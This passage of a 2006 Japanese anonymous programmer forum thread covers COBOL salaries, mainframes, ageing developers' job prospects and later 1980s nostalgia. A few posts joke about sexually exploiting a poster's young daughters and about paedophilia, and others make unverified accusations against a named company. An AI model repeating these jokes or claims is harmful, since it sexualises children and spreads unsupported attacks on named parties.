>>650
嘘つけ！！！

655 ：650：2006/09/10(日) 12:25:55

>>654
本当に嘘なら良いんですが、嘘じゃないんですよ...
ちなみにボーナスなてものはかれこれ１０年以上貰っていません...orz

656 ：仕様書無しさん：2006/09/10(日) 14:15:42

>>650
手取り50万!

657 ：仕様書無しさん：2006/09/10(日) 15:36:56

VBの仕事で、残業代別で55もらってる。
COBOLだったら70出すと言われたが、もう10年以上やってなかったからな～。

658 ：仕様書無しさん：2006/09/10(日) 16:41:29

えっ、COBOLの方が高いの？

659 ：仕様書無しさん：2006/09/10(日) 16:48:49

これからＣＯＢＯＬやって見るか。

660 ：仕様書無しさん：2006/09/10(日) 16:53:52

COBOLやるとな、　モ　テ　る　ぞ　！

就職した１９８０年代で止まったままの脳内で。

661 ：仕様書無しさん：2006/09/10(日) 21:34:10

そだよ～
私はCOBOL専門だけど、仕事無くて死にそう

662 ：仕様書無しさん：2006/09/10(日) 21:41:02

でも、死んでないじゃん。

663 ：仕様書無しさん：2006/09/10(日) 22:29:51

もう４ヶ月仕事してないよぉ～

664 ：仕様書無しさん：2006/09/10(日) 23:04:08

えっ！VBの仕事を紹介してもらう時、「COBOLなら条件のいいところが
山ほどありますよ」と言われたよ。

665 ：仕様書無しさん：2006/09/10(日) 23:09:21

それって2007年問題で仕事が増えたって事かな？

666 ：仕様書無しさん：2006/09/10(日) 23:15:42

今COBOL人気すげぇぞ
もうJavaなんてバカバカしくて
やってらんねぇよ
COBOL一筋40年で未来永劫
食っていけるね
新技術やるやつなんてバカ
自分の時間割いて常に勉強
なんてアホじゃねーの？
COBOLなら一回覚えるだけで
一生遊んで暮らせるのに

667 ：仕様書無しさん：2006/09/10(日) 23:15:57

というよりVB６とJavaが死滅の時期

668 ：仕様書無しさん：2006/09/10(日) 23:25:03

あれっ？そうなの？？？
なんで死滅しそうなの？
これってジョークだよね。

669 ：仕様書無しさん：2006/09/10(日) 23:33:13

VB6の仕事は、ほとんどない。
今やっているのは.NET。

670 ：仕様書無しさん：2006/09/10(日) 23:47:38

あっ、そういう意味ね。

671 ：仕様書無しさん：2006/09/10(日) 23:50:44

VB.NETだったらVBじゃない
COBOLとCOBOL.NETはどちらもCOBOLだから。

672 ：仕様書無しさん：2006/09/10(日) 23:57:43

コボルが完全に無くなるのはまだなさそうさから
すき間ねらいでコボル専用もありかも
さすがに地方は無理だろうけどね。

673 ：仕様書無しさん：2006/09/11(月) 16:54:35

COBOLって主に汎用機で使われてるんだよな。
汎用機そのものが消えてなくなるような気がするんだが。
小さいマシンに置き換えられるだけか。
そのうちPCの中で動く仮想マシンになるかな。

674 ：仕様書無しさん：2006/09/11(月) 23:24:25

最近はUNIXサーバーで使われる事が多いよ。

675 ：仕様書無しさん：2006/09/12(火) 00:09:37

汎用機は無くなりませんよ。

UNIXとかに取って代わられる部分も当然ありますが、
大規模データの一括処理は絶対に置き換えられません。

金融、流通系では最後まで生き残りますよ。

676 ：仕様書無しさん：2006/09/12(火) 01:55:07

なんで、なくならんのだろうね、
１０年以上も前から言われてるけどさ。
一時期、ＣＯＢＯＬＥＲが次々と業界を去っていった時期がありました。
あれは、一体なんだったのか。

677 ：仕様書無しさん：2006/09/12(火) 12:48:49

>>675
それでもハードウェアはどんどん安くなって小さくなって行くよね。
するとやがて同じ機能は携帯電話か腕時計ぐらいの大きさで実現
できるようになる。そうなると当然タンスの裏に落としてしまう。
年末の大掃除に出てきて「なんだこんな所にあったのか」という
ことになる。もちろん汎用機は秋葉原の露天で一個千円で売られて
おり、いつも数人のサクラが居て、近づくと「安いねえ」とか
「こんなに安いのに正確なんだ」などのわざとらしい会話を店主と
している。

678 ：仕様書無しさん：2006/09/12(火) 22:15:54

>>676
なんだよ、おれその一時の時にこの世界を引退したんだよ。
いま、コボラーって生きれるのか？需要有り？
なら時給６５０円のパートやめて復活するが・・・

679 ：仕様書無しさん：2006/09/12(火) 23:17:56

時給３０００円はかたいべ。

680 ：仕様書無しさん：2006/09/12(火) 23:25:19

>>678
なにやってんだよ
俺の叔母さんだって
６０近いのに現役コボラーで
月４５万稼いでるぞ

681 ：仕様書無しさん：2006/09/12(火) 23:48:34

おぉ、未来は明るいな

682 ：仕様書無しさん：2006/09/12(火) 23:52:17

神って、本当の神はこいつだろ。
http://news19.2ch.net/test/read.cgi/newsplus/1157878250/

683 ：仕様書無しさん：2006/09/13(水) 02:53:23

>>678
なんかねえ、COBOLとJavaが使えると結構需要あるみたいだよ。

684 ：仕様書無しさん：2006/09/13(水) 02:53:56

>>682

　　映画化決定 !

685 ：仕様書無しさん：2006/09/13(水) 07:59:34

今いってる派遣先の大手ＳＩではＣＯＢＯＬがかなり幅きかしてる。
オレがいる１室は50人以上の人がいるがオレも含めて若い奴いねぇ。

686 ：仕様書無しさん：2006/09/18(月) 06:18:40

あの、ベテランの皆様に質問なのですが・・・
汎用機は、やっぱりＯＳ等が特殊なので、ハッキングされにくいのですか？
ネット図とかの設計書の類は、数十冊とあるのですが、
プログラムの行数的には、今時のＰＣと比べて、とても、少なそうに感じましたｗ。

うーん、汎用機にはやっぱり、未来は感じられませんね～(-_-;)
休み時間とか多いから、勉強がいっぱい出来ていいけどｗ
ちなみに、当方、勤務２ヶ月目の見習い扱いで時給1000円の汎用機オペです

687 ：仕様書無しさん：2006/09/18(月) 09:25:11

少なくとも汎用機の未来よりオペレータの未来の方が
絶対にないと俺には言い切る自信があるｗ

688 ：仕様書無しさん：2006/09/18(月) 11:54:04

>>687
やっている本人が一番分っています。（職場の人全員、そう思ってるかも？？？）
ただ、実働１４時間勤務時間中に、合計４時間の席を外せる休憩があり、
休憩時間外でも、コンピュータ関係の書籍なら数時間読書出来るのが、なかなかです。
この仕事の直前では、事務所や個人宅のＰＣ設定の仕事をやっていました。
オペの仕事だけでは、キツいので、単発バイトでＰＣ設定も再開しています。

今は、2000円で購入した脳トレ教材（速読法を１４ヶ月ほど）を頑張っていて、
もう、２・３ヶ月したら、資格集めを再開つもりで、オペしているだけです。

頼むから、応募してきた人を、求人と全く違う上に、未来のない仕事に割り振るのは
やめてほしいかも・・・

689 ：仕様書無しさん：2006/09/18(月) 20:55:02

辞めりゃ良いじゃん

690 ：仕様書無しさん：2006/09/18(月) 21:23:48

>>689
さっさと辞めて、次を当たるのが大正解なんでしょうけど・・・
せっかく、派遣や請負会社じゃなくて、元請の契約社員になれたので、
辞めるのは気分的にちょっと・・・
まあ、汎用機じゃない方の勉強終わったら、速攻でやめそうｗ。

691 ：仕様書無しさん：2006/09/18(月) 21:34:50

元請になんか希望持ってるのか？

692 ：仕様書無しさん：2006/09/18(月) 23:49:32

ユーザだろうが、元請だろうが、オペには希望はないだろ。
昔から、オペという存在自体、不思議に思ってたよ。
プログラマの登竜門とか、騙されたか？

693 ：仕様書無しさん：2006/09/19(火) 03:30:42

４６歳ですが、いまからコビルを習おうかと思っています。
東大卒ですが文系です。ダメでしょうか？

694 ：仕様書無しさん：2006/09/19(火) 03:31:40

コビル→コボル

695 ：仕様書無しさん：2006/09/19(火) 07:33:32

誰かプログラム等が得意な人にお願いしたいんですけど。。。
無料のゲームソフト作ってもらえませんか？
それでネットで出回らせる。

池田大作ゲーム

海外で勲章買って
盲目な信者からさらに金巻き上げたり、
日本をのっとろうとして選挙違反で捕まったり。
ロールプレイングゲームがいいな。
マスコミからのバッシング、信者の反乱とかいろんな
困難を切り抜けて
うまくいけば世界制覇。

696 ：仕様書無しさん：2006/09/19(火) 07:51:25

【激安の殿堂】アドービジネスコンサルタント【ブラック】
http://www.geocities.jp/addo_business_consultant/ [ｿｰｽﾁｪｯｸ]
アドービジネスコンサルタント
【英文社名】ADDO BUSINESS CONSULTANT CO.,LTD.
【資本金】3000万円
【代表者名】池田昭司
【平均年齢】32
【平均年収】388
会社情報:高離職率、5年勤めても退職金がわずか14万、社員は奴隷状態
違法な偽装派遣やり放題、IT業界最低賃金の恐るべし究極の激安王
トラコス、フォーラムエンジニアリング、ベンチャーセーフネットを超えた究極のブラックIT企業

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697 ：仕様書無しさん：2006/09/19(火) 07:57:47

コボルは東大卒にはぴったりの言語だ。
でも、高卒の方が採用されるだろうね。

698 ：仕様書無しさん：2006/09/19(火) 10:12:54

東大卒にコボルなんてモッタイナイ。

699 ：仕様書無しさん：2006/09/20(水) 13:54:23

この業界で高卒ってあまり知らない。

700 ：仕様書無しさん：2006/09/21(木) 06:35:52

専門卒や大学の文系が多いね

701 ：仕様書無しさん：2006/09/21(木) 08:46:36

文系は実験の実施とレポートの書き方を知らないから困る。

702 ：仕様書無しさん：2006/09/21(木) 14:20:07

40代が大学のは理系文系で就職先ってちがってた気がする。
周りの業界の40代は理系出身が多いような気がするけど。

703 ：仕様書無しさん：2006/09/21(木) 20:26:13

俺は大学の文系出てから、専門学校に行った。
当時のカリキュラムはCOBOL,、FORTRAN、ASSEMBLER だった。

704 ：仕様書無しさん：2006/09/25(月) 01:49:05

わしは今年引退してバイトしてるコボラー。
時給７５０円。離婚して幼女二人あり。
４５歳。
どうしたらええ・・・

705 ：仕様書無しさん：2006/09/25(月) 07:27:09

幼女だけは重要だな。

706 ：仕様書無しさん：2006/09/25(月) 07:32:41

>>704
何で子供いるのに引退してるのさ
恥を忍んでもしがみつけ
COBOLは確かに根強い復活の動きがあるから
どこかの契約社員になってCOBOLの腕を生かせ
子供を死なすなよ

707 ：仕様書無しさん：2006/09/25(月) 21:50:57

幼女は俺が面倒見るよ

708 ：仕様書無しさん：2006/09/25(月) 23:47:33

>>707
1人で2人も面倒見切れないだろ
1人は僕がが面倒みるよ

709 ：仕様書無しさん：2006/09/26(火) 10:41:11

中国の娼館は安く買い叩かれるから要注意だ！

710 ：仕様書無しさん：2006/09/26(火) 11:42:36

幼女の人気に嫉妬

711 ：仕様書無しさん：2006/09/27(水) 16:19:04

幼女をPGに育てるのだ

712 ：仕様書無しさん：2006/09/27(水) 16:29:09

40代でPGしかできない奴は、50代になったら
路上で棒振りすることになるよ

713 ：仕様書無しさん：2006/09/27(水) 19:17:46

K-Bean

ってかいたらカッコヨクネ？

714 ：仕様書無しさん：2006/09/27(水) 21:36:33

>>712
棒振りを甘く見るな。

若い奴が殺到してる土地もあるんだ。
年寄りの出番じゃない。

715 ：仕様書無しさん：2006/09/28(木) 09:55:19

>>714
年寄りは都会にいる必要もないので、空いている土地に行くよ

716 ：仕様書無しさん：2006/09/29(金) 02:08:18

>>704
一家心中覚悟か？派遣で食え、ばかものが！！！

717 ：仕様書無しさん：2006/09/29(金) 10:49:17

45のコボラーなんて使い道ねーよ
さっさと土方でもコンビニの深夜バイトでもしなさい

そんなだから奥さんにも愛想つかされるんだよ。
そんな経済状態でなんで親権とっちゃったのｗ
子供ｶﾜｲｿｽ

718 ：仕様書無しさん：2006/09/29(金) 21:26:20

おれはコボラーじゃないが、
俺の今いる職場には年収１千万に手の届く勢いの
４０代後半コボラー親父がいますよ。

いろんな意味でマジすごい。でもコボルしか書かないｗ

ああいう親父に俺もなりたい。

719 ：仕様書無しさん：2006/09/29(金) 21:35:05

コボル一代　誓った日から　命も捨てた　名もいらぬ
コボル一筋バカになり　果てなき開発　まっしぐら

720 ：仕様書無しさん：2006/09/29(金) 22:25:22

コボル一筋４０年がマジ最強
最新技術なんて意味無し
だって常に勉強するなんてバカじゃん
給料も出ないのになんでプラオベート
削って勉強せなあかんねん

721 ：仕様書無しさん：2006/09/30(土) 00:45:10

※オブラートに包んだプライベートの意

722 ：仕様書無しさん：2006/09/30(土) 09:59:40

コボルは昔、本を買って勉強したことがあるんですが、
仕事はしたことがありません。
コボルの仕事できつい所ってどんなところですか？

723 ：仕様書無しさん：2006/09/30(土) 11:51:47

>>722
コボルだからキツイという事はない。
言語を問わず、開発スケジュールに問題があるところはキツイ！

724 ：仕様書無しさん：2006/09/30(土) 11:52:43

客先に問題があるところもキツイな。

725 ：仕様書無しさん：2006/09/30(土) 14:40:46

○○に問題があるところはキツイ！

1.営業
2.PM
3.先輩
4.後輩

さぁ？

726 ：仕様書無しさん：2006/09/30(土) 19:01:18

問題があったらとにかくキツイ！

727 ：仕様書無しさん：2006/09/30(土) 23:01:55

そりゃきついよ、仕事だもん

728 ：仕様書無しさん：2006/10/03(火) 01:06:12

910 名前: 名無し物書き＠推敲中？ Mail: 投稿日: 2006/10/02(月) 02:22:32

元プログラマ、システムエンジニア兼管理職です。
精神を病んでいま精神障害手帳を持つ身になりました。
全盛期の頃は高額収入者としてもてはやされましたが、
４０代ともなると限界です・・・
いまは現役を引退しパートをしています。
無論、執筆活動も・・・
PG.SEをしながら執筆活動など絶対に無理です。
ただいま４５歳、独身・・・仕事で人生を犠牲にしました・・・

ただ、それなりの大きな家を建てました、ローンはありません。
それだけの人生でした・・・

今後は執筆に人生を賭けてみたいと思っています。

729 ：仕様書無しさん：2006/10/03(火) 01:19:41

734 名前：YRP常駐from群馬 ◆a8bV4TV9Jg 投稿日：04/10/23 02:03:21

たまにはレスを書くとしよう。
その後も再就職への道は険しく、さすがに「軍曹」と目の前で言われる事は
ないが、人をまるで只の逃亡者のように色眼鏡で見る面接官が意外に多く、
一時休戦とした。

そんな俺は、今は一時的にだがコンビニのレジ打ちをしている。「IT軍曹」と
バイト仲間からは呼ばれている。YRPでの体験談は意外にウケるのだ。
かつての部下達の多くが同じような道を辿っている。県内に再就職の道が無け
れば、小隊を再編成して直接仕事を貰うというスタイルもありかと考えている。
小隊の元のメンバーと相談してみないと何とも言えんが、たまに酒の席で昔話
ばかりに花を咲かせるのも、少し虚しくなってきたところだ。
小隊の復活が彼らの望む道であるのなら、俺は再び彼らを率いてIT業界で活躍
をしたいと思っている。

俺たちは敗残兵ではない。

730 ：仕様書無しさん：2006/10/03(火) 10:48:08

>>728-729
両方に共通するイメージ ── 「惨め」

731 ：仕様書無しさん：2006/10/06(金) 09:24:38

なんだかな・・・
独身ならパートでもして年収２００万もあれば生きてゆけるだろ。
おれはその道を選ぶよ。
さいなら。

732 ：仕様書無しさん：2006/10/06(金) 10:03:49

>>731
おまいは子孫を残す快感を知らない。
生き物として哀れだな。

733 ：仕様書無しさん：2006/10/06(金) 10:26:11

>俺たちは敗残兵ではない。

す　で　に　戦　死　し　て　ま　ふ

734 ：仕様書無しさん：2006/10/06(金) 17:27:17

ところでおまいらの肩書きは何？

735 ：仕様書無しさん：2006/10/06(金) 17:47:19

一級オナニスト

736 ：仕様書無しさん：2006/10/06(金) 18:52:13

平

737 ：仕様書無しさん：2006/10/06(金) 21:43:45

フリーターだな

738 ：仕様書無しさん：2006/10/06(金) 23:13:19

おれは無職ニートだよ

739 ：仕様書無しさん：2006/10/08(日) 11:48:59

社長　　
ウソじゃありません・・・

740 ：仕様書無しさん：2006/10/09(月) 02:52:43

>>732
こんな腐った世の中に生命を送り出すなんぞ、無責任の極地。
恥を知れ！！！恥を！！！

息子か？息子なら将来、人殺しになるだろう・・・
娘か？娘なら将来、売女と化し、チンチンをしゃぶりまくり、
まんこに数百のちんこがぶち込まれることになる・・・

哀れやの・・・

741 ：仕様書無しさん：2006/10/09(月) 04:29:44

>>732
子孫残したくても相手がいません。

本当にありがとうございました。

742 ：仕様書無しさん：2006/10/09(月) 10:24:56

>>739
社長なのに、現場でＶＢしている吉岡さんですか？

743 ：仕様書無しさん：2006/10/09(月) 13:35:13

社長なのにPGって結構いるような、、、

744 ：仕様書無しさん：2006/10/09(月) 14:02:37

最近分身が二人くらい欲しいなと思うようになってきた
もうそろそろリタイヤ間近か

745 ：仕様書無しさん：2006/10/09(月) 16:06:05

>>744
最初の壁だね。

分身を他人に求めると会社興す羽目になるが、
決して自分と同じヒトは得られない。

だからといって一人でやっていると売り上げも頭打ちだし
無理しても体をこわすのが目に見える。なにより時間が取れなくなる。

会社を興したいのか、好きな仕事をやりたいのか、とにかく金を儲けたいのか。
単にコンピュータが好きなのか、色々基準は有るが、

まずは半月程度自分のやりたいことをもう一度見つめ直すと良いよ。

746 ：仕様書無しさん：2006/10/09(月) 20:01:38

辞めるなら４０代のうちだろな。

開発は嫌いではないが、偽装請負な業界の構造に嫌気がさしてきた。
会社興しても結局、偽装請負会社だろしな。

747 ：仕様書無しさん：2006/10/10(火) 01:00:21

>>746
おれ、それで厄年に引退したよ。

748 ：仕様書無しさん：2006/10/10(火) 01:02:50

偽装請負とか派遣じゃない会社って
ベンチャー企業しかないのかね

749 ：仕様書無しさん：2006/10/10(火) 02:07:53

33才で今から勉強してプログラマに
なるには限界あり杉でしょうかどうでしょうか

750 ：仕様書無しさん：2006/10/10(火) 02:16:12

４５歳元飲食店店長がなってたから大丈夫じゃね？

751 ：仕様書無しさん：2006/10/10(火) 02:42:39

>>750
ありがとうございます
とりあえず今週情報処理試験受けてきます

752 ：仕様書無しさん：2006/10/10(火) 13:06:48

>>749
ファイヤーエンブレムの開発者は30過ぎてからゲーム業界に入った
それまでも自分でゲームプログラム作って賞取ったりしてたみたいだけど

753 ：仕様書無しさん：2006/10/11(水) 23:12:36

技術的なことが問題になるっていうのはあまりなくて
コミュニケーションとれて仕事の流れがわかってればいいから

754 ：仕様書無しさん：2006/10/14(土) 23:08:57

４０歳で引退してタクシードライバーを６年した。
４７歳にプログラマとして復帰できるかな。
もうダメか？
言語はコボルしかしらん。

755 ：仕様書無しさん：2006/10/14(土) 23:49:13

コボルしかしらんっていい方ははっきりいって意味ないよな
言語なんかよりもっと大事なものがある

756 ：仕様書無しさん：2006/10/14(土) 23:52:44

タクシードライバーは大変ですか？

757 ：仕様書無しさん：2006/10/15(日) 12:11:53

タクシードライバー大変で検索した結果　1～10件目 / 約696,000件 - 0.35秒
タクシードライバー大変の検索結果約 166,000 件中 1 - 10 件目 (0.23 秒)

758 ：仕様書無しさん：2006/10/15(日) 14:32:45

ロータリーでダベってて金になるなら皆やってるよ

759 ：仕様書無しさん：2006/10/15(日) 21:18:59

ロリータでペドってて金になるなら皆やってるよ

760 ：仕様書無しさん：2006/10/15(日) 21:19:35

タクシードライバー　変態の検索結果のうち日本語のページ約 23,300 件中 1 - 10 件目 (0.15 秒)

761 ：仕様書無しさん：2006/10/15(日) 21:47:17

それは関連性ありそうだな

762 ：仕様書無しさん：2006/10/15(日) 23:25:46

>>759
金にならなくていいからやらせてください

763 ：仕様書無しさん：2006/10/15(日) 23:52:05

マジレスですが、本当に３５歳限界説を信じていました。
以前自分もＰＧや保守管理等やりながら、派遣請負の１０人前後の小さな会社をやってました。

将来の不安等で他業種にも参入し、なんとか目処ができ情報処理業は３０代なかばで引退！
でも去年新業種もあぼーん

パソコン関係でなんとか食いつないでますが、最近ＰＧに戻ろうか迷ってます。

４６歳で仕事ありますかね
じーさんは、若いリーダやエンドユーザーは嫌がるでしょうね

764 ：仕様書無しさん：2006/10/16(月) 00:07:55

仕事の結果さえ出して頂ければ、若者も中年も年寄りも関係ないですよ。
身重の女房＆幼児＆寝たきり両親抱えていても使えなければ切りますけど。

765 ：仕様書無しさん：2006/10/16(月) 01:34:10

>>763
>４６歳で仕事ありますかね
　経歴を見れば全然余裕と思う。でも、PGでの復帰は周りがゆる
さんかも。

766 ：仕様書無しさん：2006/10/16(月) 01:46:40

いやあ、そのうち世の中が変わってくる、変わるべきだと思うな。
今の、少なくとも業務系の実装は、年寄りが言う「パンチする」っていうノリでできるもんじゃないから。
現行技術ができるんであれば、ベテランＰＧは必要だよ。いかに設計が優秀でも、ＰＧが駄目ならぼろぼろになる。
逆に、ＰＧが良ければ設計なんて適当な人がやっても大丈夫。

767 ：仕様書無しさん：2006/10/16(月) 01:50:30

世間じゃＰＧなんか誰でもいいって認識だけどな
フリーターでも中国人でもインド人でも
誰でもいいから時給1500円でも頭数揃えろって感じじゃん

768 ：仕様書無しさん：2006/10/16(月) 01:58:48

時給1500にもならん人間が大量にいる世界に
優秀なのが入ってくる確率低いな　ｵﾜﾀw

769 ：仕様書無しさん：2006/10/16(月) 02:07:13

茶髪２９歳にほされて辞めたんで、
バイトのＰＧに来週応募しようと思ってる。
バイトだから、偽装請負よりある意味いいかも。

770 ：仕様書無しさん：2006/10/16(月) 09:55:38

そうか。茶髪になればいいのか。

771 ：仕様書無しさん：2006/10/16(月) 10:03:05

>ＰＧが良ければ設計なんて適当な人がやっても大丈夫。
そんな訳ない

772 ：仕様書無しさん：2006/10/16(月) 10:39:27

>>771
「設計の役」って意味だよ。
できた設計書（へたすると絵とメモ程度でよい）を、
普通だったら設計担当になるベテランＰＧが監督する。
その方が設計書も省略でき、圧倒的に効率よく、精度の高いシステムになる。

ベテランが設計して駆け出しが実装すると、物凄く細かく書かなきゃいけないし、
駆け出しが設計を正確に実装できるかという問題がある。
ベテランＰＧは、多少設計が間違ってても、実装中に気付いて自分で直す。
あるいは、的確な質問内容を「設計の役」に教えることができる。

773 ：仕様書無しさん：2006/10/16(月) 12:47:41

まあがんばりましょうよ

774 ：仕様書無しさん：2006/10/16(月) 12:58:21

>>772
それって、PGじゃなくて、SEがコーディングしてるだけでは?

775 ：仕様書無しさん：2006/10/16(月) 16:05:50

心配すんなこれからは機械が進化してロボットが仕事をするようになる
人間はプログラミングの仕事だけしか必要なくなる日がくる
いつの日か・・・・

776 ：仕様書無しさん：2006/10/16(月) 19:36:27

スタートレックじゃ、よく船が、
「プログラミングが終わりました。」
ってしゃべってるけどね。

777 ：仕様書無しさん：2006/10/16(月) 19:49:28

心配すんなこれからは機械が進化してロボットが仕事をするようになる
人間は欲しいと思ったものを思い浮かべるだけしか必要なくなる日がくる
つまりみんなマトリックスの中で栽培される。

778 ：仕様書無しさん：2006/10/16(月) 23:31:14

>>775
20年前から言ってるよ
紙なんか使わなくなるよ
ってのと一緒にね

779 ：仕様書無しさん：2006/10/16(月) 23:35:11

>>778
紙まだ使ってんのか！？

780 ：仕様書無しさん：2006/10/16(月) 23:41:54

働かなくても生きていける時代になった
これってまさにスタトレの世界だよな

781 ：仕様書無しさん：2006/10/17(火) 00:24:09

>>774
そゆこと。
現ＰＧレベルの人が設計、現理系ＳＥレベルの人が実装。
この方がうまく行く。

782 ：仕様書無しさん：2006/10/17(火) 03:07:16

教えてほしいのですが、
プログラマーとしてやっている人なら、職にあぶれることはないんじゃないでしょうか？
だって、どこの企業でも社内でＩＴ技術者必要でしょう。
僕の会社は、ＩＴとは無縁の中小企業ですが、社内のコンピューターシステムを
維持してる人はきっとうちの会社にとって一番重要な人材の１人と思いますよ。
仕事内容も、ソフトウェア会社みたいにバリバリ新しい商品をつくるのではなく、
システムの維持でしょうから、それほど頭を使う必要ないと思いますし、
ずっとパソコンの前で座って仕事できますし。
だから、ＰＧ、ＳＥに疲れたら、こういう職業に就けばよいのでは？
全国探せばいくらでもあるでしょう。僕の会社のこのシステム維持担当の人も
もうすぐ退職です。近々募集するでしょう。

783 ：仕様書無しさん：2006/10/17(火) 03:10:53

使わないでいるとセンスが鈍るから

784 ：仕様書無しさん：2006/10/17(火) 09:40:25

>>780
ニート?

785 ：仕様書無しさん：2006/10/17(火) 09:44:30

>>782
そういう需要はありそうだな。でも金ないだろうな。
一人の人が複数の会社のメンテナンスの面倒を見る
ようなのが現実的かもな。複数箇所からちょっとづつ
金を取る。

786 ：仕様書無しさん：2006/10/17(火) 23:42:55

>>782
毎月幾ら払ってくれる？

それが一番の課題なんだよ。
そこいらの部長と同じじゃー
維持してやんないよ！>>現行システム

てか、部長二人切って現行システム維持できるなら安いモンだろ。

787 ：仕様書無しさん：2006/10/18(水) 04:48:23

>>782
社内のコンピューターシステムを維持するにはそれなりの能力が必要。
そこら辺のPGには無理。

788 ：仕様書無しさん：2006/10/18(水) 08:48:04

ＰＧといってもＶＢが出来る人、ニモニックを駆使して低レベルの実装が出来る人、
ネットワークプログラミングが出来る人、ＤＢプログラミングが出来る人、
さらに、ＰＣぐらい自作余裕な人、Ｗｉｎのインスコも出来ない人などいろいろな人が居る。

いろいろ出来る奴が職にあぶれているわけない。

789 ：仕様書無しさん：2006/10/18(水) 11:25:09

>>788
その中なら俺は VB だけできない。

790 ：仕様書無しさん：2006/10/18(水) 11:40:31

練習すればできるようになるよ。

791 ：789：2006/10/18(水) 11:58:11

いいよ。今さら VB なんかできるようにならなくても。

792 ：仕様書無しさん：2006/10/18(水) 12:46:22

VBも1.0からやってたし
アセンブラもPIC,H8,Cypress,Z80,8086やってたし
デーモンとかも書くし
DBもいじるよ

793 ：仕様書無しさん：2006/10/18(水) 19:28:25

だがしかし、ウィンドウズ系業務アプリのほんとうの恐ろしさを知らない。

794 ：仕様書無しさん：2006/10/18(水) 19:59:22

ウィンドウズアプリなんてもんには手出すもんじゃねえ

795 ：仕様書無しさん：2006/10/18(水) 21:37:59

ウインドウズアプリが一番おもすろいのに

796 ：仕様書無しさん：2006/10/18(水) 21:51:17

Windowsアプリも
コンシューマーゲーム機も
組み込みも
Web系もやってた

797 ：仕様書無しさん：2006/10/18(水) 22:08:28

ていうか社内ＳＥって普通、耳年増な素人がやってるじゃん。
個人的に覚えたいっていう理由で言語指定してきたり、いらない機能付けさせたり。
んで後で触ろうと覗いて挫折し、やっぱり追加発注してくると。

798 ：仕様書無しさん：2006/10/20(金) 20:22:33

そういや俺は Windows に関しては趣味でしかやってないな。
趣味の Delphi。しかしそれもここ5年ぐらいやってない。
メインで使っているのは Linux だが、簡単でスピードが少々
遅くても問題ないプログラムはだいたいは Perl か Java で作る。
するとそれはそのまま Windows で動く(Cygwin環境でやればほぼ
完璧に動く)。

799 ：仕様書無しさん：2006/10/23(月) 11:17:53

都会では、万引きする中高年が増えている。

800 ：仕様書無しさん：2006/10/23(月) 13:53:41

だけども問題は今日の雨、傘がない。

801 ：仕様書無しさん：2006/10/23(月) 14:09:46

ここはポエムのスレですか?

802 ：仕様書無しさん：2006/10/23(月) 19:25:34

みつけにくいポエムですか?

803 ：仕様書無しさん：2006/10/23(月) 21:05:39

まだまだ探す気ですか？

804 ：仕様書無しさん：2006/10/23(月) 22:14:53

逝ってみたいと思いませんか

805 ：仕様書無しさん：2006/10/23(月) 22:19:32

さすがは４０代だな。おまいらレコード持ってるんだろ？

806 ：仕様書無しさん：2006/10/23(月) 22:46:57

レコード買う金なんか無いよ。
ＦＭステーション見てエアチェックだ。

807 ：仕様書無しさん：2006/10/23(月) 22:52:16

オープンリールでエアチェックかぁ？

808 ：仕様書無しさん：2006/10/23(月) 23:48:06

>>807
本格的だな。
俺なんかパディスコだ。

809 ：仕様書無しさん：2006/10/24(火) 00:02:00

ナニこの昭和の夕暮れみたいなスレ

810 ：仕様書無しさん：2006/10/24(火) 02:39:23

メタルテープに録音。

811 ：仕様書無しさん：2006/10/24(火) 10:06:15

金持ちだな
俺はクロームだ

812 ：仕様書無しさん：2006/10/24(火) 10:13:59

国鉄山手線に乗り、ゲームウォッチをいじりながら、LPレコードから
ダビングしたカセットテープをウォークマンで聞く。

813 ：仕様書無しさん：2006/10/24(火) 17:30:30

>>811
俺はフェリクロームだ

814 ：仕様書無しさん：2006/10/24(火) 17:40:58

FMラジオのスイッチを入れる。聞ける局は NHK FM と FM 東京。
この二つだけだ。

815 ：仕様書無しさん：2006/10/24(火) 17:58:10

へー、君たちナウいねえ。

816 ：仕様書無しさん：2006/10/24(火) 19:42:59

オジンは黙ってろ。

817 ：仕様書無しさん：2006/10/25(水) 01:51:05

なめ猫

818 ：仕様書無しさん：2006/10/25(水) 14:56:21

>>810
当然、TDKのMA-Rだよな？
>>813
DUADと呼べ。

819 ：仕様書無しさん：2006/10/26(木) 03:26:32

ガキデカとマカロニほうれんそうは面白いね。

820 ：仕様書無しさん：2006/10/26(木) 11:15:13

内山亜紀がバイブルです

821 ：仕様書無しさん：2006/10/26(木) 11:52:13

おむつマニア現る！

822 ：仕様書無しさん：2006/10/26(木) 12:05:05

まだ手に入る？

823 ：仕様書無しさん：2006/10/26(木) 16:15:06

>>822
何が？
「何の話をしているのか相手に伝える能力」か？

824 ：仕様書無しさん：2006/10/26(木) 16:48:58

やっぱり最近のアイドルでは河合奈保子がダントツ可愛いい。

825 ：仕様書無しさん：2006/10/26(木) 20:03:33

>823
どう読んでも820からの流れに決まってんだろ
読解力ゼロか

826 ：仕様書無しさん：2006/10/26(木) 20:05:46

>>825
内山亜紀を我が物にしたいと？そんな莫迦な。
おっさんですよ？
>>822 が欲しいのは「おむつ」でしょう。

827 ：仕様書無しさん：2006/10/26(木) 21:25:56

こりゃまた目出度い頭の香具師が居るな・・・
著作物のことだろ

828 ：仕様書無しさん：2006/10/26(木) 22:47:53

>>824

馬鹿野郎！！！桜田淳子に決まっとる！！！

829 ：仕様書無しさん：2006/10/26(木) 23:42:35

若い二人は夢中になれるから～

830 ：仕様書無しさん：2006/10/27(金) 02:00:23

スペースインベーダーのカラーのやつはまだ出ないのかな。

831 ：仕様書無しさん：2006/10/27(金) 02:47:50

おまいら、プログラマー辞めたの？
スレが年代別になっとるやんけ。

832 ：仕様書無しさん：2006/10/27(金) 11:27:40

>>827
もしかして…いやまさか…ﾏｼﾞﾚｽ？…そんな筈は…

833 ：仕様書無しさん：2006/10/27(金) 12:24:39

キミ・・・虚しくね？

834 ：仕様書無しさん：2006/10/27(金) 21:15:54

内山亜紀が、ムサい成人雑誌のロリ漫画作者の事だとか、解説してあげなきゃならんのか？

835 ：仕様書無しさん：2006/10/28(土) 00:38:46

頭がピンチっぽい人が居るな
そっとしておいてやるか

836 ：仕様書無しさん：2006/10/28(土) 12:02:03

４８歳、毒、時給３５００円！！！まだまだ俺の時代が続く！！！

837 ：仕様書無しさん：2006/10/28(土) 12:18:15

毎日16時間働けば、1年で2000万稼げるな

838 ：仕様書無しさん：2006/10/30(月) 08:19:17

42歳だけど、鬱病になった、おれの時代はおわた・・・

839 ：仕様書無しさん：2006/10/30(月) 09:55:17

×おれの時代はおわた・・・
◎そもそも始まってすらいない

